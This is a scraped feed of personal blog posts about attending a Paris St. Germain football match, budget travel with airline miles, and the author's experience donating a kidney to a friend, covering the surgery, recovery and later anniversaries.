Eric could hardly contain himself. The moment had arrived for what he had been waiting for. Paris St. Germain vs. Marseille. These tickets we difficult to get. Not because they were expensive or sold out. It is difficult to figure how and where to get them. Until a couple of weeks before, we struggled finding out what their schedule even was. We Facebooked with people in France and they told us “fat chance”. Finally Eric found a site that sells tickets to Americans. The trick is you have to have a credit card with an address in the United States and US IP address. The tickets ended up being a reasonably priced psg 1 psg 2 psg 3 and lucky us, they were playing while we were in town.

Things are different in Paris. Police carry visible automatic weapons outside the match and in the subways following the games. Note that this was three weeks before the Paris attacks. When we got there you have to have your ticket and photo ID. This way you cannot sell your tickets. Then you can only enter your section of the stadium. Once inside you have to stay in your section; buy food only in your section, pee only in your section. They don’t sell beer at these games because they are rivals, to prevent rioting.

In the United States it is probably 3/1, men to women at sporting events. At the PSG game it was more like 30/1. These are not real stats, just my observations. I totally stood out. Oh and their fans were dressed so nice, scarfs and fancy sport coats. The men kissed each other hello. They would chant, “Ici, c’est Paris” in their pretty accents. It all seemed so polite and proper. After awhile I was trying to figure out what the other chant was and then it dawned on me, “Marseille, F%#! You! Hmm, it didn’t sound so rude with their french accents. Best of all they had a moat around the field. Yes, you read that right, a moat without water. No rushing the field or throwing things. Awesome. Ibrahemovic set a record (Paris St. Germain scoring record) and scored the only two goals. We had the time of our lives.

After the match we headed back to our rented studio apartment, stopping at McDonalds on the way. Had to be done and nicer than in the United States. Started to hear news of terrible flooding in the South of France. We are supposed to take the TGV to Nice in the morning. People are saying that we can’t and shouldn’t go.

Stay tuned to France Part 2 – Nice

]]> Why I Teach Travel https://toriteaches.com/why-i-teach-travel/ Sun, 10 Jul 2016 17:57:55 +0000 https://toriteaches.com/?p=259 Why do I teach travel?

I have explored this world a decent amount, but not as much as I would like to. Having a limited budget presents some challenges for my world exploration. I wasn’t planning on writing a travel blog, but when three different people suggested it to me in the last week…. I figured, why not?

When vacationing you have to ask yourself one important question…

Do I want to relax and enjoy the amenities or will I be out exploring most of the time and just need a place to “shit, shower and shave”?

I am not saying to stay in a dump if you are out exploring, but think about how you want to spend your time and money. I have found that many things are “nice enough” for me. Because of this philosophy I am able to afford more vacations than someone that is looking for the best of everything. Certain cities you will find that you can affordably go big on a smaller budget; such as Vegas mid week. Sometimes Airbnb is the right choice to save money and have a comfortable home base (worked wonderfully in France). Looking back at my travels I will let you know what worked and what didn’t quite live up to expectations. We are good travelers, but have learned from our mistakes as well.

When reading my travel blog realize that my Delta Skymiles American Express is a big reason that my family gets to see so many places. My husband travels for work and we put almost all of expenses on the Skymiles card and pay it off each month. (Check out my finance blog on how to manage credit and credit cards – which will be available in the future) Last year I signed up for my own American Express Skymiles card for the buy one get one free ticket and the free bags. American Express only gives the benefits to the main cardholder. You can however get free bags for up to nine people that are on your same reservation. Our family of five is often on two reservations due to using the free annual companion pass for two tickets and Skymiles for the other three. Besides, I sometimes travel without my spouse. I do have a life. Yes, we do almost exclusively fly Delta for the Skymiles. Salt Lake is a hub for Delta, so that works great for us. Depending on your city, another airline might deserve your loyalty.

I will also be looking at when a car rental is a good idea and when it is a hassle and unnecessary expense. Sometimes you will be using the Metro and parking is a pain. Other times you will want to explore the countryside and your Airbnb or hotel have free parking. Is it scary to drive in a foreign country? Probably, but I don’t know. Not able to drive a stick shift, my hubby has taken on this responsibility during our adventures. This sounds super sexist (having the man drive), but I do all the other work to plan the vacation. I will forever let him drive in those circumstances.

Vacationing as a couple, with children or with friends call for different strategies. I will explore how those things factor in as well. This eze 2 blog is not for one particular type of traveler. It is very important to understand the characteristics of your travel companions. Be the easy going one, but know who you can on cannot travel with. Set expectations early.

France, Mexico, Disney and National Parks are some of the locations I will cover. I will also look at vacations that I would like to take and have done the research on. Pretend vacationing is somewhat of hobby of mine. Pick some dates you would like to travel then log in to Expedia. Choose “hotel plus airfare” and start dreaming. I simply change the location to compare costs. Besides, checking out the hotel photos set my imagination free. Once you select a hotel you can look at the flight information and see how long the travel will take and connecting legs associated with the fare. We chose a 13 our layover in Amsterdam on our trip to France, which sounds crazy. This however, enabled us to explore this amazing city during is vibrant evening hours.

Note: I am a new blogger and I do not have any sponsors. I am pubbing these companies out for free because these are the programs and companies that have benefited me in my travels.

]]> Tori’s Diatribe (Pre Transplant) https://toriteaches.com/toris-diatribe-pre-transplant/ Sun, 10 Jul 2016 15:47:26 +0000 https://toriteaches.com/?p=245 Tori’s Diatribe

So John hinted that he thought I should also write down what my experience is about. Reader beware, I am not the writer that he is and I like to be kind of a smart ass. First and foremost I believe that this is John’s journey and I am fortunate enough to be along for the ride. He is also very correct in stating that our experiences with this are widely different. I don’t have to face my mortality every day.

For years Eric and I have said that if given the opportunity to give a friend or family member a kidney we would do it. It is almost as if we knew this opportunity was going to present itself. When Rebecca emailed us about John’s condition I immediately asked what his blood type was. John is O- and can only receive a kidney from someone with type O blood. Eric is A and I know he would have stepped up if he was compatible.

So for the next couple of months I went through the testing without John’s knowledge. We even trained for the Ogden Marathon while I grilled him about his kidney disease and dialysis. I was also trying to figure out who my “competition” was. For those of you that know me, this was probably the longest I kept ANYTHING a secret.

Then at the beginning of May Rebecca invited me to attend a transplant orientation. When John saw me walk in his thought was, “Oh no, has something happened to Grandma Joy?” Grandma Joy is mine, Shelly Logue’s and Ali Barber’s grandma, but functions as EVERYONES. I thought that was very sweet. Then I said, “surprise!” John’s reaction was that he had been hoodwinked.

Throughout the meeting I could tell that John was uncomfortable with the turn of events. At that point I decided to tell John what my motivation was….

When I was five years old my mother was diagnosed with a stage four brain tumor and was given six months to live. Ali was just eight years old and little Brad only 2. Very similar to the devastation that John, Rebecca and there three little kids have had to face.

My parents were not going to accept this death sentence. They spent the next few years traveling back to the University of Maryland getting cutting edge and sometimes controversial treatments for my Mom. They were gone for a week at a time and in the early years this was every month. My extended family all took part in raising us. I imagine John’s dialysis is having a similar effect on the Maws.

During this time my Mom was unable to qualify for much insurance. Back then you could be kicked off of your insurance if you had a terminal illness. It took nearly a decade for my Dad to pay off the medical bills, even with help from my Grandparents. This nearly bankrupted my family, but my Dad being awesome and amazing always made it work. This type of thing can financially destroy a family.

My Mom passed away in 1991 when I was 16 years old. She had several brain tumors at her time of death. I am very grateful for the extra 11 years that we had with her. It seems humorous to say, but no one could have donated a brain to save her life. However, if that was possible I know someone would have. I feel that I have the opportunity to help the Maw children have long and happy lives with both John and Rebecca. To help give them back that time that dialysis takes from them. To help give John back his energy and so that he can even eat pizza again, of all things. To help give them back their Dad the way I wish someone could give me back my Mom.

Going forward I am not fearful, but excited. I think I have always known throughout this process that I would match and this would work out. I am meant to do this. Cheesy I know, but it is how I feel. I am thankful for my much supported husband, family and friends. You are all the best!!!!

So on Tuesday Billy the Kidney will get a reprieve from diet coke and go to a more aspartame free home. He is trading up. Billy will be leaving behind my right kidney, The Sundance Kidney. She is left to fend for herself, but they both will be stronger and more productive than ever before!

]]> Billy the Kidney’s Adoption (Written 5 days post op still on mild pain killers) https://toriteaches.com/billy-the-kidneys-adoption-written-5-days-post-op-still-on-mild-pain-killers/ Sun, 10 Jul 2016 15:41:14 +0000 https://toriteaches.com/?p=243 I thought many of you would like to read what I remember about the experience.

Monday night: Did the bowl prep so that everything would be spanking fresh for the surgery.

Tuesday (Sept 6, 2011): Arrived at IMC Same Day Surgery at 5:15 am and got all signed in. John and Rebecca arrived shortly after. Around 6:30 they called me back to the pre-op area. John and Rebecca met us in the prep room and we shot the breeze for a couple of hours. The surgery was postponed for two hours because of an emergency surgery at another hospital. Then Dr. Chen, the plastic surgeon, came in and did her markings. At about 8:30 they wheeled me to the operating room, while they were putting me on the elevator John ran up to say good bye and give me hug. When I arrived in the OR, I learned that the anesthesiologist went to high school with my Dad. Don’t ask how this came up, it was very convoluted. I was happy to hear the physician’s assistant say, “Hey the A team is in here”. They showed me the door that Billy would be exiting through for his adoption in the OR next door. They put the mask on my face….

This is what I have been told took place. Rebecca, Rebecca’s mom, Rebecca’s sister, John’s brother, John’s parents, Ali, my Dad and Eric waited and received updates throughout the day. Everything went very smoothly. Billy worked so well for John that before they could hook the ureter up to John’s bladder it fire-hosed the physician’s assistant with urine. Way to go Billy! Eric told me that he will never forget the moment that they came in and gave Rebecca and John’s family the good news.

When the plastic surgeon arrived my belly button was missing. This was recounted to me while I was on a lot of drugs and I was trying to figure out how you lose a belly button. Do you just set it down some place and lose track of it? What really happened was that the kidney surgeon had to cut through the belly button. No worries. I will not be a freak. The plastic surgeon has made me a fake belly button with a skin graft. We will know next week how good it looks. I believe I was out for about six hours. Not sure how long John was out.

I woke up in the recovery room, which John has described a gymnasium full of moaning people. I have the impression that John had been there awhile before I came in. All I remember immediately was that I was in a lot of pain. They gave me fentanyl. Thank you fentanyl. The nurses said someone really wanted to see me. They wheeled John over and we held hands for quite some time. It was a very touching moment. I wish Eric and Rebecca could have been there to share that with us. They then took John up to the transplant recovery floor and I was wheeled up about 15 minutes later. My family visited me during this time, but I do not remember much. I do remember a very nice conversation with Rebecca. Around 10:00 pm I went on my first walk and felt great. They mentioned that I may be able to go by Thursday.

Wednesday morning: I woke up feeling pretty good and went on a walk with John. We also had many visitors. Wednesday night I was relying pretty heavy on the pain pump. I decided that I wanted to get my digestive system working so I started to wean myself off of it. Still not sure if this was the best idea. That night my body realized what it had been through. John also describes this as his most difficult time. I got very little “real” sleep.

Thursday I was a mess. I had nausea and headaches. I would dry heave and it would make my body ache. Dr. Chen came to see me and straightened everything out. She save me an anti nausea drug and I slept for six hours. Thank you Kim Mallas for taking care of me when I woke up during this crazy sleep. She took me to the bathroom and made me a pillow nest to sleep in. When I finally woke up I felt 1000 times better. Things had really turned around. I slept most of the next two days, but I was out of pain.

Saturday: I woke up feeling good. I even showered myself for the first time since Tuesday. It was my day to be emotional. I visited John and Rebecca and let them know how special I felt to be part of this. I really do feel like they are my family now. John made it out of the hospital a couple of hours ahead of me. Always so competitive John.

Sunday- I stopped taking the pain killers and am sticking to Tylonol. Feeling good and even took my first walk around the block with the walker.

I want to thank everyone for visiting, well wishes on Facebook, dinners and prayers. All of you have helped to make this an amazing experience and something that will define my life. Eric and Rebecca, thank you holding down the fort and for taking care of us. Krissie, thank you for visiting me so often during my stay. There is still recovery ahead but the worst is behind us. John came home with a lot of medications and I emphasize “A LOT”. I came home with gross drainage tubes, a belly button “plug” and a walker. On an upside, John and I both got a free t-shirt.

Love you all. – Tori
P.S. This should be my last diatribe! Thanks for reading.

]]> 4 Weeks Post Donation (What the hell happened to my belly button?) https://toriteaches.com/4-weeks-post-donation-what-the-hell-happened-to-my-belly-button/ Sun, 10 Jul 2016 15:37:56 +0000 https://toriteaches.com/?p=241 My belly button scab finally came off. It very much reminded me of a newborn baby, which was weird. I have one of the smallest belly buttons any adult has ever had. But hey, I have a belly button. Not having one could have been cool too because then I could have claimed that I was alien and have no parents. Hee hee. Even with the swelling my abs are looking pretty good if I do say so myself. Eric thinks the hip to hip scabby scar makes it difficult to visualize (he calls it “noise”) what the end result will look like. In my head my tummy is 1000% better than it was going in.

Rebecca Jensen Maw gave a tree necklace that I have taken to be the “tree of life” that I wear almost every day. She is an incredible human being and has done such a wonderful job as a wife and mom during this crazy year. It is so good to see Johnny Maw and how good he is doing. He has always been sharp, but now he is super duper sharp! I love seeing the Maws and when I go a few days without seeing them, I experience withdrawal. I haven’t seen the Jensens or Johnny’s Mom and Dad since the hospital and I miss them too. What a fantastic family.

I feel pretty good from day to day, but can’t live with out the elastic band that I wear around my mid section. Without it is very uncomfortable. With it… I am uncomforable, hot and sweaty, but still the lesser of two evils. The bands are the same width for everyone. John is an entire foot taller than me, so his band fits properly. Mine covers almost my entire torso. I would have been a rebel during Victorian times, because I would have refused to wear a bodice!

I feel good to do most things, but I will not be cleared for exercise until the six week mark. Most people say they do not feel comfortable running for eight weeks. Running causes a tugging sensation where Billy used to be. I over do it from time to time (hard to imagine right?) and then I pay for the next couple of days. Still working on drinking enough water! My blood levels are great and my hematocrit (sp?) back to normal. It is so hard to believe that the surgery was just three and a half weeks ago.

We had our last dinner delivered last week. Wow, I really got used to that. I feel that I have been able to focus on my kids a lot the last couple of weeks being mostly home bound. This time has been very special to me and my family. Eric Bergstrom has been wonderfully supportive and I would not have been able to do this without him. He is my rock! Thank you everyone for all that you have done for us. The kidney donation will be a defining experience in my life. Our bodies are amazing and capable of extraordinary things.

Looking forward I am hoping to work with Intermountain Organ Recovery by being a mentor for prospective Living Donors. I am also in contact with the organizers of the LDO (Living Donor Organization) Marathon or Grandmas Marathon as it is better known. It is rated the 5th best marathon in the country!! Achiva Energy is all set to be a sponsor in June 2012. We will also be working to help raise money for Swimming for Kidneys. They raise money to send transplant kids to a special camp. Pay it forward “Yo” as John would say.

There are so many people waiting, hoping and praying that someday they too will find a match that can drastically improve their quality of life. Love and nameste, Tori

]]> 1 year Kidneyversary https://toriteaches.com/1-year-kidneyversary/ Sun, 10 Jul 2016 15:33:24 +0000 https://toriteaches.com/?p=239 One Year in Review

One year ago today I was being prepped for surgery. About this time I was being wheeled toward the elevator when John ran up to tell me thank you. Our lives would never be the same.
I feel that it is my duty to be eloquent and poinient in this post. However, if you know me, you also know that I am neither of those things. I have tried to make light of the situation over this past year because I feel that what I did was not all on me. Eric, Rebecca and our children all deserve admiration for supporting us during this time. I am sure that it was not easy to have to tend to the two of us while holding down the fort. Thank you both.
As the months have gone by I have thought less and less about the events of September 6, 2011. Many days not thinking about it at all. As the end of Summer has been nearing it has all come flooding back. The support of everyone for the fundraiser was amazing. I still cannot believe that it came together with such success on such short notice. All of the wonderful dinners delivered to our house for well over a month. In fact, Eric asked Joy B. the other day if the donation had had any effect on her. Her reply, “Not really. I just remember all of the really great food that we got to try.”
In May I ran the Ogden Marathon. I looked at it as a way to get into shape, but it was much more. My doctor had told me that it would take at least a year to get back to running that kind of distance. I was slow, but I finished. I think I cried for the last six miles. Partly from exhaustion and partly because I was doing it. The last mile Eric met up with me and ran into for the finish. Seeing him and the support that he was giving me overwhelmed me with emotion. Eric has supported me so much during this past year and I will never be able to thank him enough. He really is the unsung hero in this story.
Over the Summer the Maws did all of the things that they were unable to do last Summer and the Bergstroms, as always, over committed themselves. We were unable to get together even one evening with the Maws, but we were thrilled that they were out and about and not tied to a dialysis machine.
On August 25, 2012 my name was added to the donor wall at the Salt Lake Library. The wall was first unveiled last year with over 4,000 names. My mother-in-law was the one that brought its existance to my attention. I filled out the paperwork and had myself added (Rebecca notarized it for free ).
I wasn’t sure if what I was doing was self congratulatory, so I was a little hesitant to tell anyone about it. I was even on the fence about the importance of attending the unveiling ceremony. Thankfully, Eric emailed the Maws so that we could be there together. I was happy that my sister Ali and John’s parents; Gwen and John Sr., were also able to be there.
I had imagined that the event would be maybe twelve or so donors like myself in a very small ceremony. In fact there were over 500 people in attendance. The guest speaker (the wife of one of Eric’s co-workers) opened my eyes to what being a “donor” usually means. Her now two year old son was born with a heart defect. At two months they planned to send him home from the hospital so that he could die surrounded by family. The next day they received word that a three year old girl had died in an accident and he would be getting a new heart. This little boy’s life was saved by the ultimate sacrifice by this three year old little girl. This little hero saved or improved nine lives. Her family was in attendance and it was a very emotional experience.
I stood there with Gwen Maw listening to this story and realized very quickly that mine and John’s story is not the norm. As far as I know, I was the only living donor their that day. Most people in attendance were there mourning the loss of a loved one and celebrating their sacrifice. This was by far the most humbling experience of this process. My “sacrifice” will never compare to what these families have gone through. Hold your family little closer tonight and let them know how much you love them. Take this time to make a call to family you don’t see often and send love to them.
Ours is a win/win scenerio. John got a healthy kidney and I received a special place in my heart that will always be filled with light and love. I feel that it is my duty to spread that light and love around. The world can seem like a scary cold place sometimes. Remember that deep down most people have this spark just waiting for their moment to shine.
I like to think that I have made my Mom really proud. I am sending special love and thanks to all of you for making my heart happy. Please do at least one nice thing for someone today and make your heart happy too.

Sorry for the cheese, the occassion seemed to warrent it. Oh and I couldn’t find the spellcheck in this program, so don’t judge.
Peace and Love,
Tori

]]> 2nd Kidneyversary (September, 2013) https://toriteaches.com/2nd-kidneyversary-september-2013/ Sun, 10 Jul 2016 15:17:01 +0000 https://toriteaches.com/?p=232 Billy the Kidney 2^nd Kidneyversary (September, 2013)

Two years ago today I was in a hospital recovery room at Intermountain Medical Center. Billy the Kidney had been moved to his new home… Johnny Maw’s pelvis. During the first year after the surgery, hardly a day went by that I didn’t think about it and how John was doing. The weird thing about this last year is that hardly a day goes by that I do think about it. I still think about how John is doing, but even then, things have gone so well that I don’t worry about it like I used to.

This morning I finished listening to Brene Brown’s Ted Talk “Daring Greatly”. This could not have come at a better time. The name references Theodore Roosevelts Man in the Arena speech. For those that aren’t familiar with it, here it is.

“It is not the critic who counts; not the man who points out how the strong man stumbles, or where the doer of deeds could have done them better. The credit belongs to the man who is actually in the arena, whose face is marred by dust and sweat and blood; who strives valiantly; who errs, who comes short again and again, because there is no effort without error and shortcoming; but who does actually strive to do the deeds; who knows great enthusiasms, the great devotions; who spends himself in a worthy cause; who at the best knows in the end the triumph of high achievement, and who at the worst, if he fails, at least fails while daring greatly, so that his place shall never be with those cold and timid souls who neither know victory nor defeat.”

I feel like donating a kidney is an example of daring greatly. Making the decision to get married or have children is another example of daring greatly. Eric has dared greatly with his faith in Achiva. For those of you that know John he dares greatly all the time. From Vespas to coffee table books; that kid knows how to dare greatly. Everyone finds ways to dare greatly in their own way. If they didn’t, the world would be a very boring place.

I have embraced the donor advocate role. I am a member of the MOD Squad (Mother’s for Organ Donation) and I am a volunteer with Intermountain Donor Services. One of the coolest things that I have been involved in is the documentary, “Social Media Stole My Kidney”. I was lucky enough to be one of 12 donors that Amy Donohue chose to interview during her 23 day journey across the country. We had so much fun filming our segment. They even got footage of John riding off down my street on his Vespa; super cool. I feel like Amy and I are kindred spirits and were very surprised by how much we have in common. Hopefully it will be picked up by Sundance. If you know anyone, put a bug in their ear about it.

Even though I have dared greatly during the kidney donation process I don’t want that to be my one thing in life. I have come to realize that I haven’t dared greatly in the last year the way that I would like to. I have gotten out of shape; which has made feel so shameful that I don’t want to participate in events that I usually love (triathlon, bike rides and runs). In our business we spend so much time around athletes that it is hard not to compare yourself to them and think, “Well I will never be as good as them so why even try.” It has become a downward spiral.

I have signed up to run Ragnar Napa which takes place in two weeks. I keep thinking, “Should I go? Should I find someone to run in my place?” I don’t want to let the team down. This morning I decided that this thinking is bullshit. I am going to dare greatly again. Besides Ragnar Napa, I am going to run another marathon this coming year, I am going to ride my first century and I will do another Olympic Tri. I am going to take my health back.

Next year I plan on commemorating the third anniversary by celebrating accomplishments and dreams come true. I hope that you too choose to dare greatly.

Thanks for listening to another one of my diatribes,

Tori

PS Nameste and love one another!

]]>